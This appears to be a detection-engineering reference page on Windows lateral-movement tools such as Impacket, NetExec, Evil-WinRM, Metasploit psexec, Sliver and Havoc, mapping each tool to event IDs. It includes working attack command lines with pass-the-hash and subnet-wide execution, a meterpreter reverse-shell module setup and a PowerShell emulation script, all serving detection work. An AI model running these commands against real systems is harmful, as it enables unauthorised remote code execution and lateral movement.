Remote Execution Tools (HackTools)
Offensive security tools (Impacket, NetExec, CrackMapExec, Evil-WinRM) used for remote code execution across Windows environments. These frameworks wrap legitimate Windows protocols (SMB, WMI, WinRM, RPC) to execute code on remote systems using valid admin credentials. Despite tool diversity, the chokepoint is invariant: valid admin credentials, network access to target ports, and a remote execution primitive (service creation, WMI process, scheduled task) are always required.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Network Authentication ▶
- Network access to target on at least one required protocol port (SMB 445, WMI/RPC 135, WinRM 5985/5986)
- Remote execution surface enabled on target (Server service for SMB, WinRM service, WMI, or Task Scheduler)
- Windows Security Event ID 4624 (Network Logon)
- Windows Security Event ID 4672 (Special Privilege Logon)
- Windows Security Event ID 4648 (Logon with Explicit Credentials)
- Windows Security Event ID 4769 (Kerberos Service Ticket Request)
2 Remote Process/Service Creation ▶
- Windows Security Event ID 4697 / System 7045 (Service Installed)
- Windows Security Event ID 5145 (IPC$/svcctl share access)
- Sysmon Event ID 1 (wmiprvse.exe or services.exe spawning cmd.exe/powershell.exe)
3 Lateral Spread ▶
- Windows Security Event ID 4624 (multiple target hosts, short window)
- Sysmon Event ID 3 (same source IP, multiple RFC1918 destinations)
Variations 7 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
Impacket 2015 Active ▶
python3 psexec.py domain/admin:Password123@192.168.1.10
python3 wmiexec.py domain/admin:Password123@192.168.1.10
python3 psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee domain/admin@192.168.1.10
- Security EID 4624: Network logon (Type 3) with admin account
- Security EID 4672: Special privileges assigned
- System EID 7045: Service installed (random name)
- Security EID 5145: IPC$ and ADMIN$ share access
- Sysmon EID 1: services.exe or wmiprvse.exe → cmd.exe
CrackMapExec 2016 Legacy ▶
cme smb 192.168.1.0/24 -u admin -p Password123 --exec-method smbexec -x "whoami"
cme smb 192.168.1.0/24 -u admin -H <hash> --exec-method wmiexec -x "whoami"
cme winrm 192.168.1.10 -u admin -p Password123 -x "whoami"
- Security EID 4624: Multiple Type 3 logons from same source IP in short window
- Security EID 4625: Failed logons (credential spraying)
- Sysmon EID 1: services.exe or wmiprvse.exe → cmd.exe across multiple hosts
- Sysmon EID 3: Single source IP → multiple internal destinations on 445/135/5985
NetExec 2023 Active ▶
nxc smb 192.168.1.0/24 -u admin -p Password123 --exec-method smbexec -x "whoami"
nxc smb 192.168.1.0/24 -u admin -H <hash> --exec-method wmiexec -x "whoami"
nxc winrm 192.168.1.10 -u admin -p Password123 -x "whoami"
- Security EID 4624: Multiple Type 3 logons from same source IP in short window
- Security EID 4625: Failed logons (credential spraying)
- Sysmon EID 1: services.exe or wmiprvse.exe → cmd.exe across multiple hosts
- Sysmon EID 3: Single source IP → multiple internal destinations on 445/135/5985
Evil-WinRM 2019 Active ▶
evil-winrm -i 192.168.1.10 -u admin -p Password123
evil-winrm -i 192.168.1.10 -u admin -H aad3b435b51404eeaad3b435b51404ee
- Security EID 4624: Network logon (Type 3) on port 5985/5986
- Sysmon EID 1: wsmprovhost.exe → powershell.exe
- Windows-WinRM/Operational: Session created
- Sysmon EID 3: Inbound connection on 5985/5986
Metasploit psexec 2007 Active ▶
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.10
set SMBUser admin
set SMBPass Password123
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
- Security EID 4624: Network logon (Type 3)
- System EID 7045: Service installed with random name
- Security EID 5145: ADMIN$ share access
- Sysmon EID 1: services.exe → rundll32.exe or payload
- Sysmon EID 11: Payload written to ADMIN$ share
Sliver 2020 Active ▶
sliver > psexec -t <target> -s <service_name> -p <profile>
# Or via WMI:
sliver > execute-assembly -t <target> -- wmiexec
# Implant types: session (interactive), beacon (async)
# Transports: named pipes, mTLS, WireGuard, HTTPS, DNS
- Security EID 4624: Network logon (Type 3)
- System EID 7045: Service installed (Sliver psexec)
- Sysmon EID 1: services.exe → Sliver implant binary
- Sysmon EID 3: mTLS/WireGuard/HTTPS to C2
Havoc 2022 Active ▶
havoc > jump psexec <target>
havoc > jump winrm <target>
havoc > jump wmi <target>
# Demon agent: position-independent shellcode
# Supports sleep obfuscation, indirect syscalls, token manipulation
- Security EID 4624: Network logon (Type 3)
- System EID 7045: Service installed (if psexec jump)
- Sysmon EID 1: services.exe or wmiprvse.exe → Demon loader
- Sysmon EID 3: HTTPS callback to Havoc teamserver
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Raw Log Samples 4 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 4624 Windows Event Log Network logon (Type 3) from attacker IP before remote execution ▶
EID 5145 Windows Event Log IPC$ share access. PsExec/Impacket opens IPC$/svcctl before service creation ▶
EID 7045 Windows Event Log Random-named service installed from TEMP path. Classic PsExec/Impacket signature ▶
EID 1 Sysmon cmd.exe spawned from services.exe. Service binary executing attacker commands ▶
Emulation
ATT&CK: T1021.002 Simulates network logon, IPC$ access, random-named service creation, and cmd.exe execution powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1021.002 / T1569.002 — SMB Admin Shares / Service Execution
# Simulates PsExec/Impacket-style lateral movement via SMB service installation.
[CmdletBinding()]
param(
[int]$SprayCount = 1,
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Continue'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function New-RandomServiceName {
# PsExec/Impacket use 8-char random alphanumeric service names
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
return -join ((1..8) | ForEach-Object { $chars[(Get-Random -Maximum $chars.Length)] })
}
$ServiceNames = @()
function Remove-Artefacts {
foreach ($svcName in $ServiceNames) {
if (Get-Service -Name $svcName -ErrorAction SilentlyContinue) {
sc.exe stop $svcName 2>&1 | Out-Null
sc.exe delete $svcName 2>&1 | Out-Null
}
}
net use \\127.0.0.1\IPC$ /delete /y 2>&1 | Out-Null
if ($ServiceNames.Count -gt 0) {
Write-Ok "Removed $($ServiceNames.Count) test service(s) and IPC$ connection"
}
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
[Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
Write-Error "Administrator privileges required. Rerun as Administrator."
exit 1
}
Write-Host ""
Write-Host "=== Remote Execution Tools (HackTools) Emulation ===" -ForegroundColor Magenta
Write-Host " T1021.002 + T1569.002 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
for ($spray = 1; $spray -le $SprayCount; $spray++) {
if ($SprayCount -gt 1) {
Write-Host ""
Write-Host "--- Spray iteration $spray of $SprayCount ---" -ForegroundColor DarkYellow
}
# ── Step 1: IPC$ network logon — Research rule trigger (WEL 4624+5145) ────
Write-Step "Step 1/3 — Network logon (Type 3) + IPC$ access"
$netResult = net use \\127.0.0.1\IPC$ /user:$env:USERNAME '' 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Ok "net use \\127.0.0.1\IPC$ succeeded — WEL 4624 (LogonType 3) + 5145 generated"
} else {
# Blank password may fail; try current session token
$netResult2 = net use \\127.0.0.1\IPC$ 2>&1
Write-Ok "IPC$ connection attempt: $netResult2 (telemetry generated on attempt)"
}
Start-Sleep -Milliseconds 400
# ── Step 2: Random-named service creation from TEMP — Hunt rule trigger ────
$svcName = New-RandomServiceName
$ServiceNames += $svcName
Write-Step "Step 2/3 — Service creation with random name from TEMP path"
Write-Verbose " Service name: $svcName (8-char alphanumeric — PsExec/Impacket pattern)"
Write-Verbose " Binary path: C:\Windows\Temp\$svcName.exe (TEMP path — Hunt signal)"
$createResult = sc.exe create $svcName `
binPath= "C:\Windows\Temp\$svcName.exe" `
type= own start= demand `
displayname= "$svcName" 2>&1
Write-Ok "sc create $svcName`: $createResult"
Write-Ok "WEL 7045 generated — Service=$svcName, BinaryPath=C:\Windows\Temp\$svcName.exe"
Start-Sleep -Milliseconds 400
# ── Step 3: cmd.exe spawned from PowerShell simulating service execution ──
# In a real PsExec scenario, services.exe spawns the service binary which runs cmd.exe
# We simulate this by running cmd /c whoami (generates Sysmon EID 1 from current context)
Write-Step "Step 3/3 — Simulating service-spawned command execution"
Write-Verbose " Real pattern: services.exe → <random_svc>.exe → cmd.exe → payload"
Write-Verbose " Note: Real PsExec parent would be services.exe — manual replay has higher fidelity"
$cmdResult = cmd.exe /c "whoami && hostname && net user" 2>&1
Write-Ok "cmd.exe executed recon commands (EID 1 generated):"
$cmdResult | ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray }
Start-Sleep -Milliseconds 300
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] WEL 4624 LogonType=3 + WEL 7045 (service installed)" -ForegroundColor DarkCyan
Write-Host " [Hunt] 7045 with random name + TEMP binary path + WMI/service parent (EID 1)" -ForegroundColor DarkYellow
Write-Host " [Analyst] IPC$ access (5145) + 7045 with suspicious name + EID 1 with recon commands" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "Higher fidelity options:" -ForegroundColor DarkGray
Write-Host " - Replay with Impacket psexec.py against a lab target (generates authentic services.exe parent)"
Write-Host " - Use Atomic Red Team: Invoke-AtomicTest T1021.002 -TestNumbers 1"
Write-Host " - Attack data replay: https://github.com/splunk/attack_data (impacket dataset)"
Write-Host ""
OSINT Pivots
port:5985 product:"Microsoft HTTPAPI"
ssl.jarm:07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba37e62256d5 port:443
"wmiexec" OR "smbexec" OR "atexec" path:*.py